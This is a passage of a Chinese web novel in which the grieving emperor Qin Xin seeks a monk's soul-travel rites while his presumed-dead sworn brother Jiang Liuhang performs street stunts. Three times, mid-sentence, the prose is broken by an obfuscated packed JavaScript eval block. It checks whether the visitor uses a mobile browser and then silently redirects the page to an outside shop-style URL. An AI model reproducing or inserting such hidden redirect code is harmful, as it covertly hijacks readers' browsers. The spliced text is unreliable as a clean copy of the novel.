裴祥光霎时全身生寒,抬起的脚僵在半空,身体一歪,险些栽倒,被旁边一个经过的近卫顺手扶了一把才站稳。 裴佑手撑地,一跃而起,转身看向被近卫们持刀执剑护在中间的秦信。 额头的鲜血流下来,滴在衣襟上。刺目的猩红,衬着他那张俊美却毫无生气的脸,透出一种惊心动魄的诡异。 姜子循看了看秦信伤势,虽然吓人,并不致命,大松一口气。 眼见着裴佑紧盯着这边,连忙到她面前,正色道:“裴将军!谢执法对王府火场已做详查,若有阴私手段,定逃不过她的眼。你可去查阅笔录,并告知她,你从何处听到‘总督暗害将军’的言论,请她彻查源头。再者,王府大火,援救者数百众,众目睽睽。当时情形,你可随意询问在场任何一人。” 裴佑再盯了秦信一眼,捡起白虹剑,一言不发地出门。 陈大夫被领进来,给秦信处理伤口,在额头上包扎了一圈。 裴祥光在一旁惶恐地告罪。 秦信摆手,众人退出。 只姜子循留下来。 门口的布幔重新垂落,大殿再次陷入昏暗。 秦信不声不响,仿若一个失魂之人,对周遭的一切都反应迟钝。 桌案上堆积的公文,数日来未曾翻动一页。 “总督,应、武两位将军率数万兵马在京畿搜寻,没有发现将军的踪迹。那火场里挖出的遗体……” 秦信的身体猛地一颤,倏然抬眼,目光森冷地显出怨毒,直射向姜子循。 姜子循强忍心头寒意,硬着头皮说下去:“确是将军无疑。” 必须让总督面对现实,振作起来。 即便他发疯,做出什么,也比这样强。 “总督!将军的遗体等着安葬,将军的仇等着去报,斩月楼害死将军,必要连根拔起,彻底铲除!首恶马荣,纵使逃到天涯海角,也定要将其擒获,以他的人头祭奠将军!总督,此仇不报,将军在地下怎能瞑目?” 姜子循挖空心思,说得口干舌燥,秦信只吐出两个字:“出去。” 正在此时,冯简来报,谢执法求见,在火场有重大发现。 掀起的布幔边,出现谢思礼的身影,光亮聚在她身上,秦信不适地眯起眼。 “咚、咚、咚。”急促、沉重的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826028|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声过来。 他看见谢思礼捧着一页纸,纸张边缘沾着焦黑的泥土印迹。 他看见谢思礼悲伤的脸。 心脏突地被什么攥住,紧缩起来。 他握紧拳头,关节泛出惨白。 “总督,”谢思礼的声音干涩沙哑,“清理火场时,发现一块地砖被掀开,下方泥土有挖掘的痕迹,于是命军士向下深挖,找到这张纸,上面是将军的亲笔。” “哗啦——!” 秦信从椅上弹起,带倒坐椅。他几乎是扑过去,一把夺过那张纸,目光急切地扫去。 短短的一段话,顷刻间看完。 纸张从指间无声滑落,轻飘飘落在地上。 六航,走了。 就这样走了。 从此之后,世间再无六航。 此后余生,与义弟,再不复见。 漫漫时光,如何熬过? 一天十二个时辰,如何熬过? 一个时辰八刻,如何熬过? 一刻又有无数息,如何熬过? 他双目中透出无尽的悲恸,面容扭曲,蹲下身去。当他颤抖着手,捡了两次,终于捡起那张纸时,眸中只剩灰暗与死寂。 双膝一软,跪倒在地。 缓缓地,他把纸条贴在胸口,仿佛疼极了,深深地弯下腰去,额头几乎触到冰冷的地面,整个身体蜷缩成一团。 喉咙中嗬嗬作响,像呜咽,又像声音堵着出不来。 姜子循心惊胆战,朝他走了一步:“总督?” “出去。”秦信保持跪着的姿势,埋着头,似乎用尽力气,才从喉咙中挤出两个字。 谢思礼默默地拉着姜子循出来。 “将军写的什么?”姜子循声音发颤。 谢思礼面色苍白:“将军说,他身受重伤,被大火所困,出不去了。他曾受云山、柳溪两位居士的恩惠,拜托总督寻到他们的尸骨,交给破山剑黄超安葬。” 早知将军已然遇害,可听到确切的消息,姜子循还是一阵悲痛难抑,转念又想到殿内的人,“总督,可怎么办啊?” 谢思礼声音低黯:“有那封信,再痛,再难,总督也会撑过去,完成将军的托付。” 姜子循叹着气,迟缓地点头。 幸好,还有那封信。 见谢思礼双眉紧锁,他问:“谢执法有为难之事?” 谢思礼用力按了按太阳穴:“这次王府大火,其中有许多不通之处,我怎么都想不明白。” 姜子循:“还在想那四十几人从哪里来?藏在哪里?” “不止。”谢思礼微微摇头,“那埋信的坑……既然火势凶猛得无法脱困,挖坑之时,怎么都应有火灰混入,可坑里干干净净,见不到一点大火痕迹。”她沉吟着道,“就像这坑,是在火起之前挖好的一样。” 姜子循:“兴许,当时还没烧到挖坑的地方?” 谢思礼面上不认同,张了张嘴,却没继续说下去,转了话题:“我去了发现斩月楼尸体的山上查看,由现场判断,参战、受伤的至少有十几人。可怎么找,那些人也不见踪迹。” 姜子循思索一番,毫无头绪,最后干巴巴道:“你慢慢想。” —— 宣德二十九年,四月二十日,秦信登基,改国号“夏”,改元“兴元”,大封功臣。 姜帅追封衡王。 敕封六位国公:平昌公裴祥光、定邦公武成、宣武公应匡、昭勇公裴佑、宁正公谢思礼、承运公迟非晚。 更有十几人封侯、伯。 最风光的是裴家,一门两公。 最令人意外的,是姜子循仅仅得封伯的爵位,比公低了两个等级。 据说是大裴国公当庭弹劾姜子循治理京城不力,致斩月楼潜入,酿成衡王惨剧。虽有谢国公力辩,言衡王之死有许多疑窦,姜大人在其中并无失职,仍然没能改变皇上的决定。 一时传言四起,道姜大人失了帝心。 不久官员任命下发,姜子循为百官之首,赫赫扬扬几日的传言顿消。 兴元元年,四月二十八日,衡王下葬。 满京缟素,洒出的纸钱遮蔽了天空,数十万军民送行,兴元帝和众公侯亲手抬棺,沿路的悲嚎传出数里。 四月三十日,兴元帝发出两道旨意,晓喻天下—— 举国搜寻云山、柳溪两位居士尸骨,提供线索者,重赏。 广召身怀异术之僧、道入京。 40. 第 40 章 宣德二十九年,天下改朝换代。 新朝飞速发展,各项新政施行:分发没收的土地、运行新制定的律法、完善科考制度…… 百姓们只觉得有盼头的日子过得飞快,一年,又一年,转眼,已是三年后。 —— 兴元四年,四月,和州。 “咔嚓!” 随着石板应声裂成数块,围观的人群爆发出震天的喝彩,纷纷把铜钱丢入姜六航托着的木盘里。 “航航,这里人真多!你好好表现,在这里多表演几天,争取赚够去京城的路费。”脑海里999兴奋地道。 “嗯!”姜六航应一声,开始新一轮的表演。 她压了压头顶的帏帽,吆喝起来:“各位父老乡亲,都来看一看呀瞧一瞧!空中走铁丝,飞签射圆心,徒手碎大石!有钱捧个钱场,没钱捧个人场啊!” 那声音带着一种偏中性的特质,有些微沙哑,听着极具感染力,很快又吸引了一群人围上来。 这里是和州府城,善庆寺外。 托了当今天子龙兴之地的福荫,又赶上朝廷大力扶持,短短四年,这座当年九州之中,除了滁州,最贫困的府城如今已变得人烟稠密,繁华热闹。 又因兴元帝信佛道,上行下效,从王侯权贵,到普通百姓,念佛修身者众多,各地纷纷修建寺庙道观。 和州府城的善庆寺占地广阔,修得极其宏伟。寺庙香火鼎盛,连带庙外的空地也成了三教九流汇聚的小型集市,吆喝声、叫卖声、锣鼓声混杂一片。 姜六航跃上铁丝,从这头走到那头,中间不时做出转身、踢腿、弯腰的动作,将到尽头时,她突然一个凌空翻,稳稳地落回。 周围轰然叫好。 姜六航站在铁丝上抱拳行礼,视线往下一扫,骤然顿住。 人群之中,几个十几岁的少男少女,身穿江湖中人常见的短打,腰佩刀剑,兴高采烈地拍着巴掌。 是……姜持。 小姑娘长大了,但还依稀可见小时的轮廓。 尤其一双杏眼,润泽灵动。 还有应辉——应匡的儿子。 另外好几个也眼熟,应是铁骨军将领的子女。 乍见这些少年,姜六航心中掀起一阵波澜,亲切、怀念、心酸,各种滋味混杂。 又不免疑惑。 他们怎么会在这儿?谁带出来的? 这个年龄段的孩子正是活泼好动,充满好奇心不愿受拘束的时候,姜六航想不出谁有这样的耐心,愿意费神照管他们。 一个两个还可勉为其难,这么多个聚在一起,若是有所疏漏,出了安全问题,谁也背不起这个责任。毕竟这些孩子家里长辈不是公侯伯爷,就是朝中重臣。 —— 善庆寺二楼,一扇直棂窗后,两人对坐。 “悟缘大师是说,人死后并无魂魄?”秦信左手搭在膝上,腕间一串佛珠,色泽幽黑,他拇指和食指捏住佛珠,慢慢地一粒粒转动。 珠子泛着清冷的光泽,流转之间顺滑无比,显见得时常被人摩挲抚弄。 “凡所有相,皆是虚妄。”悟缘合掌。 “那为何有投胎转世?” “当知一切众生,从无始来,生死相续,皆由不知常住真心,性净明体,用诸妄想,此想不真,故有轮转。”① “可否控制转生去向?” “临命终时,随业受报。行恶入恶道,行善入善道。” 冯简听着两人对答,脑子发晕,只觉绕来绕去,云里雾里。 三年了,自从那场大火后,皇上就对这些异常执着。 三年间,见了多少高僧大德,修了多少庙宇道观,行过多少招魂秘法。 近乎疯魔。 朝臣们痛斥昏聩的奏折堆成了山,皇上置若罔闻。 冯简有时想,那些大人们哪里知道,皇上若真连这点念想也断了,那才是真的大事不好了。 姜丞相、迟尚书、谢尚书等几位不管旁人在殿前怎样慷慨陈词,始终保持着沉默,不对皇上的那些做为表态,何尝不是心知肚明? 皇上和和尚的对答继续飘入耳内,冯简早已练就本事,那些话从左耳朵进,右耳朵出,不去思考其中的含义。 “既有转生,可能寻得?” “六道流转,机缘渺茫,寻得转生几无可能。” “当啷。”一声极轻微的佛珠碰撞声传出。 冯简蓦地凝神,全副注意力都转回到身前的人。 皇上垂着眼,手指缓缓转动佛珠,动作依旧沉稳,但冯简敏锐地察觉到,皇上捻动珠子的指尖,比刚才多用了一分力,指节泛白。 禅房里陷入一片令人窒息的沉寂。 忽然,楼下传来喝彩声,夹杂着“好功夫!”“再走一回!”的呼喊,凝滞的空气微微一松,又流动起来。 秦信稍稍偏头,目光透过窗格缝隙向下望去。 楼下,一个戴着帏帽的女子在空中铁丝上翻飞,动作潇洒利落。 他不在意地收回视线。 “久闻悟尘大师大名,可否请来一见?” 悟缘脸上掠过一丝为难:“这……悟尘师弟性情疏狂,恐怠慢了贵客……” “无妨。”秦信语气平淡,却带着不容置喙的威严。 悟缘仍然犹豫,往对面人脸上看去。 这位贵客五官深邃,极其俊美。 在他的额头正中有一道浅浅的疤痕,半截指头长,很像画上去的一抹纹饰,不但无损容貌,反而更添气势和尊贵。 这样的好容貌,可惜面色冷峻,犹如覆着千年不化的寒冰,让人望而生畏。 姜施主拿着太守的名帖前来,身份非凡。悟缘不敢得罪,只得让人去唤师弟。 等待的间隙,楼下那女子的声音又传了上来:“下一场,飞签射圆心!百发百中,诸位看客瞧好了!” 应和声一片。 “快射!” “我们瞧着!” 不多时,一个青年僧人快步而来。身穿月白僧袍,纤尘不染,面容清俊,眉宇间仿佛天生带有一丝悲悯众生的慈和。但那双眸子的深处,却燃烧着一股纯粹的狂热,形成一种奇异的矛盾气质。 “贫僧悟尘,见过施主。”他合掌行礼,目光坦荡地落在秦信身上,并无寻常人面对贵人的拘谨。 几句寒暄后,话题再次引向魂魄。 悟尘语出惊人:“死后魂魄是否存续,贫僧不敢妄断。然生者之魂魄,确实藏于躯壳之内。” 秦信:“愿闻其详。” 悟尘:“魂魄无形,上天入地,山川河海,来去无阻,千万里转瞬即至。无所束缚,可回溯过往,探及将来。通过引导,可进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831563|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人体内。” 进入,他人体内? 秦信手指蓦地顿住,神情骤然专注。 “异端邪说!满口妄言!”悟缘气得脸色发红,几乎要拍案而起。 悟尘却不动怒,慈悲地一笑,道:“师兄怎知是妄言?我可验证。” 秦信身体微微前倾,一直搭在膝上的左手抬了起来,指节轻轻叩在桌面:“如何证?” “其它的需要准备,一时不能达成,但贫僧可送施主魂魄去到过往。”悟尘的声音轻缓,仿佛带着某种奇异的魔力,“施主欲见何人?要回到何时?” —— 楼下,姜六航的表演渐入高潮。 她在铁丝上走了几个来回,身姿轻盈如燕,动作行云流水,引来阵阵惊呼。接着,她掏出竹签,手腕翻飞。 “嗖!嗖!嗖!” 竹签如雨,根根钉入十几步外木板上那个小小的圆心,密密麻麻挤在一起。 “好!!” “准头真好!” 周围人高声捧场。 姜持等少年兴奋得小脸通红,拼命鼓掌。 姜六航飞下铁丝,端着木盘去收钱。 有些人见她来了,赶紧走开,她也不强求。有人给钱,她就道谢。 一圈快转完时,木盘里堆了厚厚一层铜板,姜六航心里喜滋滋的。 忽然,盘子里被丢进一锭银子。 银光闪闪,足有二两。 999惊呆了:“啊!” 姜六航抬眼,对上一个十五六岁的少年。 很眼熟,这是哪家的孩子? 正在少年脸上寻找故人的影子,边上少年们已经叫出他的名字。 “唐小豆,你有这么多银子啊?”语气中满是羡慕。 姜六航恍然:原来是唐云将军的儿子,小名小豆,大名……不记得了。 唐小豆得意地扬起下巴:“我爹偷着藏的银子,哼!我早就知道地方了,拿了一半。好不容易出来一趟,我们好吃好喝好玩!不用担心没钱!”又转向姜六航,“这位姑娘,你功夫真好,还有更厉害的没有?” 姜六航:“我给各位表演一个徒手粹大石。” 她深吸一口气,从竹筐里又取出一块更厚的青石板。 —— 二楼禅房。 一枚圆形铜钱被置于桌面,悟尘指尖一拨,铜钱开始急速旋转,发出嗡鸣声。 和尚的声音低沉而充满魅惑,仿佛直接响在秦信的脑海深处:“轻轻闭上双眼,全身放松……你来到了一片宁静之地,周围的一切都安静下来。时光开始倒流,回到最初遇见他的那一刻。” 铜钱旋转的速度慢了下来,边缘的微光在秦信微阖的双眼前晃动。 “仔细地回想,那时,他穿的什么衣裳?对你说的第一句话是什么?他的声音是不是如清泉般悦耳?他的脸上是不是绽放如花的笑容?还记得他看你的眼神吗?是亲密的,信赖的?还是忧愁的?……” 楼下,姜六航气沉丹田,清叱一声,手掌如刀,劈向地上的青石板。 “咔嚓!!!” 石板应声而碎的响声,混合着轰然叫好声,猛地响起。 禅室内。 那枚旋转的铜钱,“叮”的一声轻响,倒在了桌面上。 秦信的眼彻底闭上,陷入睡梦中。 41. 第 41 章 秦信的意识沉沉下坠,最终伏倒在桌面。 他回到了那一年。 母亲去世后几个月的一天夜里,他提着一篮子香烛纸钱,独自离开军营。那天的风很大,月色昏暗,一路上的景物只能看见模模糊糊的影子。 他到山下的背风处,点燃纸钱。 几个月前,母亲含笑死在他的怀里,嘱咐把遗体火化,洒到家人坟头上。 母亲终于能离开这个给她带来无尽痛苦的世界,和家人团聚。 他却再没了亲人。 从此后孓然一身,再无人可牵挂,也再无人牵挂他。 天地茫茫,四野寂静,竟仿佛独剩他一人。 一张张钱纸扔进去,被火焰吞噬,化为灰烬。 他心口蓦然巨疼,眼眶发热。 就在此时,前方密林的枝叶忽然“咔嚓”一声断裂,从里面钻出一个人。 秦信浑身肌肉瞬间绷紧,猛地弹起,长剑出鞘,直指向那人。 “路过的!不是坏人!别动手!”那人慌忙叫道。 是一个清脆的少年嗓音,带着被惊吓的急促。 秦信仍然用剑指着他,剑尖纹丝不动,声音冷硬地道:“你是什么人?干什么的?” “啊……”少年停在十来步外,“我就是一普通百姓,听说和州军驻扎在这里,特意来投军。” 秦信借着火光,仔细打量来人。 矮他大半头,应该是为了避免被山上的树枝和荆棘划伤,头上包着一块布,把脸全部遮住了,只露出一双眼,手里提着一柄刀,刃口卷曲,显然一路披荆斩棘。 “兄台,你住这儿?和州军营就在附近吧?”少年面对剑尖,似乎并不紧张,反手将刀插回鞘中,问道。 他也收回剑,回道:“是。” 那少年就地坐下来,长吁一口气:“总算到了。累死我了。” 少年坐的位置离他十来步,是个比较安全的距离。 秦信紧绷的心弦稍松,也跪坐回去,往火堆里添了几张纸钱。 这时他突然感觉脸上有点异样,伸手一抹,抹了一手的水。 他哭了? 先前居然没发觉。 从记事起,唯一的一次哭泣,是在母亲死时。他把母亲的头紧紧抱在怀里,看着母亲嘴角的笑容,忍不住泪流满面。 那一次,无人得见。 可今夜……他用衣袖狠狠擦脸,下意识朝少年望去。 刚刚,他竟然是挂着满脸的泪痕,和这人对峙。 少年察觉到他的视线,仓促地别开头。 后来,少年没立即离开,一直默默地坐在旁边,看着他烧纸。 好几次,秦信无意中抬头,都撞见少年呆呆地望着火堆,似乎在出神。 在这个夜里,他不是一个人。 因为是素不相识的人。 因为恰到好处的距离。 因为这贴心的沉默。 他感觉到了陪伴。 纸钱燃尽,火焰熄灭,只余香烛一点微光在风中闪烁。昏暗月色下,他只能看见少年大致的轮廓。 “往东走三里,可见和州军大营。年满十五,身无残疾即可入伍。若有武艺,通过考校可授职,凭军功晋升。”秦信打破静默。 “多谢。”少年道,“我从泉州来,赶时间抄近路,刀都砍废了。等进城打好新刀,就去投军。” 泉州? 秦信心中疑窦顿生。 “泉州马荣兵强马壮,且远比和州富庶,你为何不投入泉州军,却舍近求远?” “马荣?”少年声音陡然转冷,充满不屑,“纵兵劫掠,军纪败坏,败亡是迟早的事。” “我看秦信很好。”少年话锋一转。 秦信心情复杂。 当时各地纷纷起兵,尤以梁州杨承、泉州马荣、池州张炎三人势力最大,如日中天。可是在这少年口中,其中之一的马荣,竟是早已注定失败的结局。 而他,刚掌控和州不久,在豪强眼中不过一块肥肉,却得少年青眼。 “秦信根基浅薄,哪里谈得上好?” 少年似乎歪了歪头,道:“军纪严明,不扰百姓。升迁按规矩来,不看出身。而且……你知道和州军中武成将军的来历吗?” “知道。”秦信道:“武成将军的来历,和州人人皆知。她是和州一家镖局主人的独女,武艺高强,招赘入门,继承了镖局。” “就冲秦信用武成做将军,我信得过他。”少年道。 又说了几句话后,少年站起身:“我歇好了,要走了,得赶紧进城打刀。”又问,“你呢?还不回?” 两人同行了一段。 秦信不习惯背后有人,总让他感觉潜在的危险,于是让少年走在前面。少年毫不犹豫地听从,没有一点顾虑的样子,步履轻快。不知是信任他,还是本就是不防备人的性子。 两人一路上没说话,只秦信偶尔在岔路时出声指引。 分别时,少年望向军营方向,恍然:“你是和州军士?”语气里透出担忧,“不是偷跑出来的吧?” “向上官请假了。”秦信答。 他听见少年松了口气:“那就好。” 少年朝他挥手:“等我入了和州军,就是战友了,定能再见!”语音轻快脆亮,穿透黑夜,传到他耳里。 忽然,另一道带着些微沙哑的声音穿透时空,强势挤入脑海:“各位父老乡亲,都来看一看呀瞧一瞧!空中走钢丝,飞签射圆心,徒手碎大石!有钱捧个钱场,没钱捧个人场啊!” 秦信蓦地睁眼。 檀香袅袅,木鱼声声。他依旧在善庆寺二楼的禅房,伏在案上。 不是梦! 那场景清晰无比,每一个细节都历历在目。火焰的温度,被烧得卷起的钱纸,月色下少年在前行走的身影……都是真实的。 他一直以为,和六航的第一次相见,是在比武台上。军中的一次大型比武,六航获得头名,他亲手把奖品——一件护身皮甲,交给六航。六航对上他的脸,目中满是惊艳和意外。 他当时以为,是因为他的一幅美丽皮囊。 可其实,惊艳的确是为他的皮囊,意外却另有原由。 比武台之前,他和六航早已相见。 他却忘了。 仅仅一个月,他忘记了六航的声音。 繁杂的军务,时时刻刻的权衡谋划,竟将那晚的陪伴,那一声脆亮的“定能再见”,彻底湮没。以致于在比武台上,他对着那双清澈的眼,毫无所觉。 秦信抬手,紧紧捂住双眼。 沁凉的佛珠贴在眼皮上。 楼外飘来吆喝声:“各位父老乡亲,都来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835945|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看呀瞧一瞧……”刚才正是这声音,将他从过往中硬生生拽回。奇怪的是,隔着一段距离,并不是很响亮的声音,刚才回溯中听到时,却异常清晰。 “姜施主,感觉如何?”悟尘问。 “很好。”秦信放下手,脸上已恢复沉静,只眼底残留一丝尚未褪尽的波澜,“悟尘大师佛法高深,有非凡之能。” 悟尘微笑,笑容里满是对世人的怜悯关怀。 悟缘嘴唇微动,欲言又止。 这哪里是佛法,分明是师弟不知从哪儿学来的旁门左道。 秦信目光定在悟尘脸上,缓缓道:“我是京城人,想请悟尘大师去京城住段日子,以便时时请教。大师意下如何?” 悟尘合掌:“敢不从命。” 和悟尘约定后,秦信谢绝两位大师相送,戴上帏帽,和冯简出门。 两个和尚站在窗前,见三十几个扮作百姓的护卫散在周围,护着那位姜施主,从围着观看徒手碎大石的人群边缘经过,很快远去。 “姜施主不是一般的贵人。”悟缘声音压抑着焦虑,“师弟,你不该应下,稍有不慎,大祸临头。且世间因果循环,与这般贵人牵扯过深,日后恐生诸多业障,扰乱佛心。” 悟尘收起慈悲的笑容,这时的他,身上没了那神秘的佛性,只是个长得好看些的普通青年,挑着眉道:“确实不一般。师兄,我十一年前见过他。” “他不姓姜。”悟尘沉沉道,“他本是和州人,姓秦。” 悟缘:“和州?秦?” 悟尘手指向上,轻轻一点:“秦。” 悟缘脸色大变:“皇——!”他猛地醒觉,咽回后一个字,急道,“师弟,你不能……” “师兄,我非去不可!”悟尘打断他,“无尽的珍稀药材,顶尖的医道典籍,最好的丹炉器具。光大我派,此乃千载难逢之机!一旦我得成功,善庆寺将为夏朝千万寺庙之首,繁盛至少百年!” 悟缘摇头:“可师父更希望善庆寺平安。” “那就将我逐出师门!”悟尘决然道,“若有祸事,绝不连累善庆寺。他日若能有所成,再回师门。” 他眼中放出狂热的光芒,一字字道,“我也想知道,我能不能,亲手造出一个姜帅!” 悟缘触到他的眼神,身上遍起寒意。 师弟天分很高,但偏偏热衷于钻研一些旁门左道。 师父曾有心让师弟任善庆寺方丈,最后权衡之下,还是把善庆寺交给了他。师父说,师弟可能让善庆寺名扬天下,但也可能引来塌天大祸。 师父临终时,再三交代,要看好师弟,轻易不让他见贵人。 今天却没拦住。 以后祸福难料。 —— 楼下,姜六航一轮表演结束,又收了一波打赏钱,把铜板装入钱袋,掂了掂,正要开始新的一轮。 突然,“砰!”地一声响,碎石飞溅。 一只穿着皮靴的大脚,狠狠踹在她刚表演完的碎裂的石块上。几块碎石被踢飞,险些砸中围观的人群,引起一片惊呼。 一个粗粝的男声响起:“哪来的臭娘们!不懂规矩?在老子的地盘上捞食,问过你爷爷了吗?!” 随着话音,一只大手猛地朝她拿着的钱袋抓来。 姜六航瞳孔骤然收缩,侧身避过,手握上腰间的剑柄。 42. 第 42 章 过来的是三个汉子,身形粗壮,满脸横肉。为首的汉子伸手来抓钱袋,不妨被姜六航避过,顿时沉下脸,另两个也气势汹汹地逼上前来,瞬间将她围在中间。 为首的那个吊着眉,唾沫星子几乎喷到姜六航脸上,恶声恶气:“臭娘们,骗的钱都交出来!不然老子要你好看!” “嘴真脏,航航,杀他们!”999叫。 “不能杀。”姜六航手指摩挲着剑柄,“如今朝廷对江湖管制严格,杀人要偿命的。不过……”她眼底闪过一丝锐利,“他们持强凌弱,我自卫时不小心刺他们几剑,应该没问题。” 999:“……” 是这个理,只是,这强弱,航航说反了吧? 周围的议论声嗡嗡响起。 “哎呦,这不是牛老大他们仨吗?就那头表演胸口碎大石的?” “可不就是他们!” “他们说这姑娘骗钱?” “呸!听他放屁!人家姑娘真本事,钢丝走得稳当,竹签射得准,石板说碎就碎,大伙儿看得高兴,乐意给点赏钱,怎么就叫骗了?分明是眼红!他们那胸口碎大石,看了多少年早腻了,也就糊弄糊弄新来的。今儿这姑娘一来,他们摊子前鬼影都没一个,急红眼了呗!” “再急也不能抢人家姑娘的钱啊。” “嘘——小声点儿!这三个出了名的不讲理,一向蛮横惯了。” “可不是嘛!前些日子有对变戏法的父女在他们旁边支摊,硬说人家太吵,影响他们发挥,把人赶走不算,还索要了一笔赔偿。” “还有个路过的书生,从旁边经过瞟了一眼,他们非说那书生看了表演不给钱,把人家钱袋都抢了。” “……” 牛老大三人对周围的指指点点充耳不闻,见姜六航站着不动,只当她吓傻了,狞笑着伸手就朝她肩膀推搡过来:“磨蹭什么!把钱交出来!” 姜六航手一紧,但还没来得及出剑,一颗石子破空而来,“啪”地一声,狠狠打在牛老大伸出的手背上。 “嗷——!”牛老大疼得缩回手,勃然变色,凶光四射地扫视人群,“谁?哪个王八羔子暗算老子?” “你姑奶奶!”一个清脆的声音响起。 人群分开,一个杏眸圆脸、眉宇间带着勃勃英气的少女站了出来,手中紧握着一柄横刀。 正是姜持。 看着这十五六岁自称“姑奶奶”的少女,围观众人不由得又是好笑,又是担心。 姜持身后,一群少年走来,个个精神奕奕,佩着刀剑。为首的少年身姿挺拔,面容冷峻,正是应辉。他目光扫过牛老大三人,声音不大却带着压力:“光天化日,朗朗乾坤,公然抢夺钱财,你们眼里可还有王法?” 牛老大捂着手,脸色青白交加,目光在少年们腰间的兵刃上打了个转,又看看对方的人数,强压下火气,梗着脖子嚷道:“谁、谁抢钱了?老子是看不得她骗人!” “强词夺理!”姜持冷嗤,“她哪里骗人了?钢丝在那里,竹签也射进了圆圈里,石板也碎了,大家有目共睹。你说她作假?那你去钢丝上走一个回合。” “不是钢丝!”牛老大指着地上的碎石板,“是这石板有鬼,作假!” “胡说八道!”几个少年纷纷怒斥。 “石板怎么了?”应辉却没有立刻反驳,他眉头微蹙,若有所思地看着地上的碎石片,顿了一下才沉声问道。 “哼!”牛老大仿佛已经抓住了把柄,得意地挺起胸膛,大声对围观人群道,“各位父老乡亲都看好了,这石板是特制的!里面早就用秘法弄出了裂痕,看着结实,其实只要轻轻一碰就碎了。别说她一个练家子,就是七八岁的娃娃来,也能一掌劈开。这不是骗钱是什么?” 人群顿时一片哗然。 少年们面面相觑:难道,真被骗了? 姜六航:“……” 999:“哈?” “航航,他们自己表演用的石头,不会就是这么加工的吧?可他们这么当众嚷嚷出来,不是砸了自己以后的饭碗吗?这么蠢的?” 姜六航不动声色地观察着牛老大三人的脸色,只见他们非但毫无担忧,反而一副胜券在握的嚣张模样。 这不像蠢,倒像是有恃无恐,背后有人? 牛老大见镇住了场面,十分得意,哈哈大笑,“诸位!口说无凭,眼见为实。我牛老大今天就给大家演示一下,徒手碎大石!”他几步走到旁边一块备用石板前。 石板纹路自然,看不出一点异样,牛老大心中暗道:“这石板的做工真好。” 他举起手掌,摆了个劈砍的架势。 临下手前,他眼珠一转,改了主意。 虽说不需用多大力,劈下去还是疼的。反正是道具,拍一下得了。 他手掌平放,手心向下,运了运气,朝着石板中心,“啪”地拍了下去。 石板纹丝不动。 嗯? 牛老大一愣,看看自己的手掌,又看看石板。 劲儿用小了? 不可能啊!这玩意儿他碎过无数次了。 他不信邪,再次吸气,加了三分力,又狠狠一拍。 石板依旧完好如初。 人群中开始响起窃窃私语和低低的嗤笑声。 “怎么回事?牛老大这力气,拍不碎?” “我看这石板没问题啊。” “是啊,那姑娘是真本事,他们冤枉人。” 牛老大脸上有点挂不住了,恼羞成怒,把心一横,第三次高高举起手掌,这次用上了吃奶的力气,憋得脸红脖子粗,铆足了劲儿朝着石板猛拍下去。 “啪!” “嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷嗷!” 牛老大抱着右手,原地疯狂地蹦跳起来,疼得眼泪鼻涕横流。 “噗嗤——哈哈哈哈!” 围观的众人再也忍不住,爆发出一阵哄堂大笑。 有人躲在人群里叫:“牛老大!这块石板你是拍不碎咯,还是回去拍你自家的吧!那个轻轻一碰就碎了。” 牛老大三人面红耳赤,恨不得找个地缝钻进去,灰溜溜地就想趁乱溜走。 “站住!”应辉冷喝一声,少年们默契地散开,瞬间堵住了他们的去路。 应辉冷声道:“当街辱骂他人,污蔑构陷,意图抢夺财物,此其一。还有,你们在这里表演胸口碎大石,有些年了吧?” 有人高声回道:“三年了!” “若你们所用石板为特制,那这三年多来,便是以欺诈手段牟利。数额几何,该当何罪,自有官府律法定夺。”应辉对少年们道,“押他们去衙门!” 牛老大三人还想挣扎,但这群少年虽年轻,身手却极为利落。应辉一个眼神,两个少年迅捷上前,一左一右反剪了牛老大的双臂。另两个少年则扑向试图逃跑的两人,脚下使个绊子,手上巧劲一扭,瞬间将他们制服。整个过程不过眨眼之间,三人便如死狗般被牢牢按住,哀嚎着被拖向府衙方向。 姜六航把表演工具寄存到事先说好的地方,快步赶往府衙。 在隐蔽处等了一会儿,少年们出来了,脸上轻松。 姜六航跟在他们的后面。 这一跟,便是一下午。 这群少年精力旺盛得惊人,仿佛对什么都充满好奇,哪里热闹往哪里凑。茶馆、酒楼、戏园、集市、斗鸡场……姜六航跟着他们在喧嚣的人潮中穿梭,只觉得太阳穴突突直跳。 是哪个把他们带来的?不管管的吗! 傍晚时,少年们终于意犹未尽地打道回府。 他们的居处是府城南边的一座大宅子,院墙高大厚实。 姜六航让999扫描,得到的结果,宅子里除了少年们,只有一个厨娘。 这太不合常理了。 